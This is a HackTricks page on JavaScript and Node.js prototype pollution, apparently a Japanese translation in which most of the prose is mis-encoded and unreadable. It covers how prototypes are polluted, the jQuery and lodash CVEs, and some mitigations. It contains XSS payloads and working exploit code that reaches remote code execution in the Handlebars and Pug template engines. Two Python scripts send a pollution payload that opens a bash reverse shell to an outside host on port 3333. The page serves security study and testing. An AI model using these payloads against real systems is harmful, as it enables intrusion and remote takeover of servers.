NodeJS - __proto__ & prototype Pollution
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
JavaScriptã®ãªããžã§ã¯ã
JavaScriptã®ãªããžã§ã¯ãã¯ãæ¬è³ªçã«ããŒãšå€ã®ãã¢ã®ã³ã¬ã¯ã·ã§ã³ã§ãããããããã£ãšããŠç¥ãããŠããŸãããªããžã§ã¯ãã¯ãåŒæ°ã«nullãæå®ããŠObject.createã䜿çšããããšã§ã空ã®ãªããžã§ã¯ããçæã§ããŸãããã®ã¡ãœããã¯ãç¶æ¿ãããããããã£ãªãã§ãªããžã§ã¯ããäœæããããšãå¯èœã«ããŸãã
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
空ã®ãªããžã§ã¯ãã¯ç©ºã®èŸæžã«äŒŒãŠããã{}ãšããŠè¡šãããŸãã
JavaScriptã®é¢æ°ãšã¯ã©ã¹
JavaScriptã§ã¯ãã¯ã©ã¹ãšé¢æ°ã¯å¯æ¥ã«é¢é£ããŠããã颿°ã¯ãã°ãã°ã¯ã©ã¹ã®ã³ã³ã¹ãã©ã¯ã¿ãšããŠæ©èœããŸããJavaScriptã«ã¯ãã€ãã£ãã®ã¯ã©ã¹ãµããŒãããªãã«ãããããããã³ã³ã¹ãã©ã¯ã¿ã¯ã¯ã©ã¹ã®åäœããšãã¥ã¬ãŒãã§ããŸãã
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
JavaScriptã«ããããããã¿ã€ã
JavaScriptã¯ãã©ã³ã¿ã€ã ã§ãããã¿ã€ã屿§ã®å€æŽã远å ããŸãã¯åé€ãèš±å¯ããŸãããã®æè»æ§ã«ãããã¯ã©ã¹æ©èœã®åçæ¡åŒµãå¯èœã«ãªããŸãã
toStringãvalueOfã®ãããªé¢æ°ã¯ããã®åäœã倿Žããããã«å€æŽå¯èœã§ãããJavaScriptã®ãããã¿ã€ãã·ã¹ãã ã®é©å¿æ§ã瀺ããŠããŸãã
ç¶æ¿
ãããã¿ã€ãããŒã¹ã®ããã°ã©ãã³ã°ã§ã¯ãããããã£/ã¡ãœããã¯ã¯ã©ã¹ãããªããžã§ã¯ãã«ç¶æ¿ãããŸãããããã®ã¯ã©ã¹ã¯ãå¥ã®ã¯ã©ã¹ã®ã€ã³ã¹ã¿ã³ã¹ãŸãã¯ç©ºã®ãªããžã§ã¯ãã«ããããã£/ã¡ãœããã远å ããããšã§äœæãããŸãã
ãããã¿ã€ããšããŠä»ã®ãªããžã§ã¯ãã«æ©èœãããªããžã§ã¯ãïŒäŸãã°myPersonObjïŒã«ããããã£ã远å ããããšãç¶æ¿ãããªããžã§ã¯ãã¯ãã®æ°ããããããã£ã«ã¢ã¯ã»ã¹ã§ããããšã«æ³šæãå¿
èŠã§ãããã ãããã®ããããã£ã¯æç€ºçã«åŒã³åºãããªãéããèªåçã«ã¯è¡šç€ºãããŸããã
__proto__æ±æ
JavaScriptã«ããããããã¿ã€ãæ±æã®æ¢æ±
JavaScriptãªããžã§ã¯ãã¯ããŒãšå€ã®ãã¢ã«ãã£ãŠå®çŸ©ãããJavaScriptãªããžã§ã¯ããããã¿ã€ãããç¶æ¿ãããŸããããã¯ããªããžã§ã¯ããããã¿ã€ãã倿Žããããšã§ãç°å¢å ã®ãã¹ãŠã®ãªããžã§ã¯ãã«åœ±é¿ãäžããå¯èœæ§ãããããšãæå³ããŸãã
å¥ã®äŸã䜿ã£ãŠèª¬æããŸãããïŒ
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Objectãããã¿ã€ããžã®ã¢ã¯ã»ã¹ã¯ãæ¬¡ã®æ¹æ³ã§å¯èœã§ãïŒ
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Objectãããã¿ã€ãã«ããããã£ã远å ããããšã§ããã¹ãŠã®JavaScriptãªããžã§ã¯ãã¯ãããã®æ°ããããããã£ãç¶æ¿ããŸãïŒ
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
ãããã¿ã€ãæ±æ
__proto__ ã®äœ¿çšãå¶éãããŠããã·ããªãªã§ã¯ã颿°ã®ãããã¿ã€ãã倿Žããããšãä»£æ¿ææ®µã§ã:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
ããã¯ãVehicle ã³ã³ã¹ãã©ã¯ã¿ããäœæããããªããžã§ã¯ãã®ã¿ã«åœ±é¿ãäžããbeepãhasWheelsãhonkãããã³ isElectric ããããã£ãäžããŸãã
ãããã¿ã€ãæ±æãéã㊠JavaScript ãªããžã§ã¯ãã«ã°ããŒãã«ã«åœ±é¿ãäžãã2ã€ã®æ¹æ³ã¯æ¬¡ã®ãšããã§ãïŒ
Object.prototypeãçŽæ¥æ±æããããšïŒ
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- äžè¬çã«äœ¿çšãããæ§é äœã®ã³ã³ã¹ãã©ã¯ã¿ã®ãããã¿ã€ããæ±æããããš:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
ãããã®æäœã®åŸããã¹ãŠã®JavaScriptãªããžã§ã¯ãã¯goodbyeããã³greetã¡ãœãããå®è¡ã§ããŸãã
ä»ã®ãªããžã§ã¯ãã®æ±æ
ã¯ã©ã¹ããObject.prototypeãž
ç¹å®ã®ãªããžã§ã¯ããæ±æã§ããObject.prototypeã«å°éããå¿
èŠãããã·ããªãªã§ã¯ã次ã®ãããªã³ãŒãã§ãããæ€çŽ¢ã§ããŸã:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
é åèŠçŽ ã®æ±æ
JSã®ãªããžã§ã¯ãã®å±æ§ãæ±æã§ããããã«ãé åãæ±æããã¢ã¯ã»ã¹æš©ãããå Žåãã€ã³ããã¯ã¹ã«ãã£ãŠã¢ã¯ã»ã¹å¯èœãªé åã®å€ãæ±æã§ããŸãïŒå€ãäžæžãããããšã¯ã§ããªããããäœããã®åœ¢ã§äœ¿çšãããŠãããæžã蟌ãŸããŠããªãã€ã³ããã¯ã¹ãæ±æããå¿ èŠããããŸãïŒã
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
HtmlèŠçŽ ã®æ±æ
JSãä»ããŠHTMLèŠçŽ ãçæããéãinnerHTML屿§ãäžæžãããŠä»»æã®HTMLã³ãŒããæžãããšãå¯èœã§ãããã®æžã蟌ã¿ããã®ã¢ã€ãã¢ãšäŸã
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
äŸ
åºæ¬çãªäŸ
ãããã¿ã€ãæ±æã¯ãObject.prototypeã®ããããã£ãäžæžãããããšãèš±å¯ããã¢ããªã±ãŒã·ã§ã³ã®æ¬ é¥ã«ãã£ãŠçºçããŸããããã¯ãã»ãšãã©ã®ãªããžã§ã¯ããObject.prototypeããããããã£ãç¶æ¿ããããã§ãã
æãç°¡åãªäŸã¯ããã§ãã¯ããããªããžã§ã¯ãã®æªå®çŸ©ã®å±æ§ã«å€ã远å ããããšã§ãã
if (user.admin) {
屿§ admin ãæªå®çŸ© ã®å ŽåãPPãæªçšããŠTrueã«èšå®ããããšãå¯èœã§ããäŸãã°:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
ãã®ã¡ã«ããºã ã¯ãæ»æè
ãç¹å®ã®å
¥åãå¶åŸ¡ã§ããå Žåãã¢ããªã±ãŒã·ã§ã³å
ã®ãã¹ãŠã®ãªããžã§ã¯ãã®ãããã¿ã€ãã倿Žã§ããããã«ããããã£ãæäœããããšã«é¢ä¿ããŠããŸãããã®æäœã¯éåžžã__proto__ããããã£ãèšå®ããããšãå«ã¿ãJavaScriptã§ã¯ãªããžã§ã¯ãã®ãããã¿ã€ããçŽæ¥å€æŽããããšãšå矩ã§ãã
ãã®æ»æãæåè£ã«å®è¡ãããæ¡ä»¶ã¯ãç¹å®ã®ç ç©¶ã«æŠèª¬ãããŠããã以äžãå«ãŸããŸãïŒ
- ååž°çããŒãžãå®è¡ããããšã
- ãã¹ã«åºã¥ããŠããããã£ãå®çŸ©ããããšã
- ãªããžã§ã¯ããã¯ããŒã³ããããšã
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution to RCE
ä»ã®ãã€ããŒã:
ã¯ã©ã€ã¢ã³ããµã€ãã®ãããã¿ã€ãæ±æããXSSãž
Client Side Prototype Pollution
CVE-2019â11358: jQuery $ .extendãéãããããã¿ã€ãæ±ææ»æ
詳现ã«ã€ããŠã¯ãã®èšäºã確èªããŠãã ãã jQueryã§ã¯ã$ .extend颿°ãæ·±ãã³ããŒæ©èœãäžé©åã«å©çšãããšãããã¿ã€ãæ±æãåŒãèµ·ããå¯èœæ§ããããŸãããã®é¢æ°ã¯ããªããžã§ã¯ãã®ã¯ããŒã³ãããã©ã«ããªããžã§ã¯ãããã®ããããã£ã®ããŒãžã«äžè¬çã«äœ¿çšãããŸãããããã誀ã£ãŠèšå®ãããå Žåãæ°ãããªããžã§ã¯ãçšã®ããããã£ããããã¿ã€ãã«å²ãåœãŠãããããšããããŸããäŸãã°:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
ãã®è匱æ§ã¯CVE-2019â11358ãšããŠç¹å®ãããŠããããã£ãŒãã³ããŒããããã¿ã€ããæå³ãã倿Žããå¯èœæ§ãããããšã瀺ããŠããŸããããã«ãããisAdminã®ãããªããããã£ãé©åãªååšç¢ºèªãªãã«ãã§ãã¯ããããšãæªæ¿èªã®ç®¡çè
ã¢ã¯ã»ã¹ãªã©ã®æœåšçãªã»ãã¥ãªãã£ãªã¹ã¯ãçããå¯èœæ§ããããŸãã
CVE-2018â3721ãCVE-2019â10744: lodashã«ãããããã¿ã€ãæ±ææ»æ
詳现ã«ã€ããŠã¯ãã®èšäºã確èªããŠãã ãã
Lodashã¯ãåæ§ã®ãããã¿ã€ãæ±æè匱æ§ïŒCVE-2018â3721ãCVE-2019â10744ïŒã«çŽé¢ããŸããããããã®åé¡ã¯ããŒãžã§ã³4.17.11ã§å¯ŸåŠãããŸããã
CVEãå«ãå¥ã®ãã¥ãŒããªã¢ã«
ãããã¿ã€ãæ±æãæ€åºããããã®ããŒã«
- Server-Side-Prototype-Pollution-Gadgets-Scanner: ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã«ããããµãŒããŒãµã€ãã®ãããã¿ã€ãæ±æè匱æ§ãæ€åºãåæããããã«èšèšãããBurp Suiteæ¡åŒµæ©èœããã®ããŒã«ã¯ããªã¯ãšã¹ããã¹ãã£ã³ããŠæœåšçãªãããã¿ã€ãæ±æã®åé¡ãç¹å®ããããã»ã¹ãèªååããŸããæ¢ç¥ã®ã¬ãžã§ãã - ãããã¿ã€ãæ±æãå©çšããŠæå®³ãªã¢ã¯ã·ã§ã³ãå®è¡ããæ¹æ³ - ãæªçšããç¹ã«Node.jsã©ã€ãã©ãªã«çŠç¹ãåœãŠãŠããŸãã
- server-side-prototype-pollution: ãã®æ¡åŒµæ©èœã¯ããµãŒããŒãµã€ãã®ãããã¿ã€ãæ±æè匱æ§ãç¹å®ããŸãããµãŒããŒãµã€ããããã¿ã€ãæ±æã§èª¬æãããŠããæè¡ã䜿çšããŠããŸãã
NodeJSã«ãããASTãããã¿ã€ãæ±æ
NodeJSã¯ããã³ãã¬ãŒããšã³ãžã³ãTypeScriptã®æ©èœã®ããã«JavaScriptã§æœè±¡æ§ææšïŒASTïŒãåºç¯ã«å©çšããŠããŸãããã®ã»ã¯ã·ã§ã³ã§ã¯ããã³ãã¬ãŒããšã³ãžã³ãç¹ã«HandlebarsãšPugã«ããããããã¿ã€ãæ±æã«é¢é£ããè匱æ§ãæ¢ããŸãã
Handlebarsè匱æ§åæ
Handlebarsãã³ãã¬ãŒããšã³ãžã³ã¯ããããã¿ã€ãæ±ææ»æã«å¯ŸããŠè匱ã§ãããã®è匱æ§ã¯ãjavascript-compiler.jsãã¡ã€ã«å
ã®ç¹å®ã®é¢æ°ããçããŸããäŸãã°ãappendContent颿°ã¯ãpendingContentãååšããå Žåã«ãããé£çµããpushSource颿°ã¯ãœãŒã¹ã远å ããåŸã«pendingContentãundefinedã«ãªã»ããããŸãã
æªçšããã»ã¹
æªçšã¯ãHandlebarsã«ãã£ãŠçæãããASTïŒæœè±¡æ§ææšïŒãå©çšãã以äžã®æé ã«åŸããŸãïŒ
- ããŒãµãŒã®æäœ: æåã«ã
NumberLiteralããŒããä»ããŠããŒãµãŒã¯å€ãæ°å€ã§ããããšã匷å¶ããŸãããããã¿ã€ãæ±æã¯ãããåé¿ã§ããéæ°å€ã®æååãæ¿å ¥ããããšãå¯èœã«ãªããŸãã - ã³ã³ãã€ã©ã«ããåŠç: ã³ã³ãã€ã©ã¯ASTãªããžã§ã¯ããŸãã¯æååãã³ãã¬ãŒããåŠçã§ããŸãã
input.typeãProgramã«çããå Žåãå ¥åã¯äºåã«è§£æããããã®ãšããŠæ±ããããããæªçšã§ããŸãã - ã³ãŒãã®æ³šå
¥:
Object.prototypeã®æäœãéããŠããã³ãã¬ãŒã颿°ã«ä»»æã®ã³ãŒããæ³šå ¥ã§ãããªã¢ãŒãã³ãŒãå®è¡ã«ã€ãªããå¯èœæ§ããããŸãã
Handlebarsã®è匱æ§ãæªçšããäŸïŒ
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
ãã®ã³ãŒãã¯ãæ»æè ãHandlebarsãã³ãã¬ãŒãã«ä»»æã®ã³ãŒããæ³šå ¥ããæ¹æ³ã瀺ããŠããŸãã
å€éšåç §: ãããã¿ã€ãæ±æã«é¢é£ããåé¡ããflatãã©ã€ãã©ãªã§èŠã€ãããŸããã詳现ã¯ãã¡ã: Issue on GitHubã
å€éšåç §: ãflatãã©ã€ãã©ãªã«ããããããã¿ã€ãæ±æã«é¢é£ããåé¡
Pythonã«ããããããã¿ã€ãæ±æã®ãšã¯ã¹ããã€ãã®äŸ:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pugã®è匱æ§
Pugã¯ãå¥ã®ãã³ãã¬ãŒããšã³ãžã³ã§ããããããã¿ã€ãæ±æã®åæ§ã®ãªã¹ã¯ã«çŽé¢ããŠããŸãã詳现æ å ±ã¯ãAST Injection in Pugã®è°è«ã§å ¥æã§ããŸãã
Pugã«ããããããã¿ã€ãæ±æã®äŸ:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
äºé²ç
ãããã¿ã€ãæ±æã®ãªã¹ã¯ãæžããããã«ã以äžã®æŠç¥ãæ¡çšã§ããŸãïŒ
- ãªããžã§ã¯ãã®äžå€æ§:
Object.prototypeãObject.freezeãé©çšããããšã§äžå€ã«ã§ããŸãã - å ¥åæ€èšŒ: JSONå ¥åã¯ã¢ããªã±ãŒã·ã§ã³ã®ã¹ããŒãã«å¯ŸããŠå³å¯ã«æ€èšŒããå¿ èŠããããŸãã
- å®å šãªããŒãžé¢æ°: ååž°çãªããŒãžé¢æ°ã®å®å šã§ãªã䜿çšã¯é¿ããã¹ãã§ãã
- ãããã¿ã€ãã®ãªããªããžã§ã¯ã: ãããã¿ã€ãããããã£ãæããªããªããžã§ã¯ãã¯
Object.create(null)ã䜿çšããŠäœæã§ããŸãã - Mapã®äœ¿çš: ããŒãšå€ã®ãã¢ãä¿åããããã«
Objectã®ä»£ããã«Mapã䜿çšãã¹ãã§ãã - ã©ã€ãã©ãªã®æŽæ°: 宿çã«ã©ã€ãã©ãªãæŽæ°ããããšã§ã»ãã¥ãªãã£ããããçµã¿èŸŒãããšãã§ããŸãã
- ãªã³ã¿ãŒãšéçè§£æããŒã«: ãããã¿ã€ãæ±æã®è匱æ§ãæ€åºã鲿¢ããããã«ãé©åãªãã©ã°ã€ã³ãæã€ESLintã®ãããªããŒã«ã䜿çšããŸãã
- ã³ãŒãã¬ãã¥ãŒ: ãããã¿ã€ãæ±æã«é¢é£ããæœåšçãªãªã¹ã¯ãç¹å®ãä¿®æ£ããããã«åŸ¹åºçãªã³ãŒãã¬ãã¥ãŒã宿œããŸãã
- ã»ãã¥ãªãã£ãã¬ãŒãã³ã°: éçºè ã«ãããã¿ã€ãæ±æã®ãªã¹ã¯ãšå®å šãªã³ãŒããæžãããã®ãã¹ããã©ã¯ãã£ã¹ã«ã€ããŠæè²ããŸãã
- ã©ã€ãã©ãªã®äœ¿çšã«æ³šæ: ãµãŒãããŒãã£ã®ã©ã€ãã©ãªã䜿çšããéã¯æ³šæãå¿ èŠã§ããã»ãã¥ãªãã£ã®å§¿å¢ãè©äŸ¡ããç¹ã«ãªããžã§ã¯ããæäœããã³ãŒããã¬ãã¥ãŒããŸãã
- ã©ã³ã¿ã€ã ä¿è·: ãããã¿ã€ãæ±ææ»æãæ€åºã鲿¢ã§ããã»ãã¥ãªãã£éèŠã®npmããã±ãŒãžã䜿çšãããªã©ãã©ã³ã¿ã€ã ä¿è·ã¡ã«ããºã ãæ¡çšããŸãã
åèæç®
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


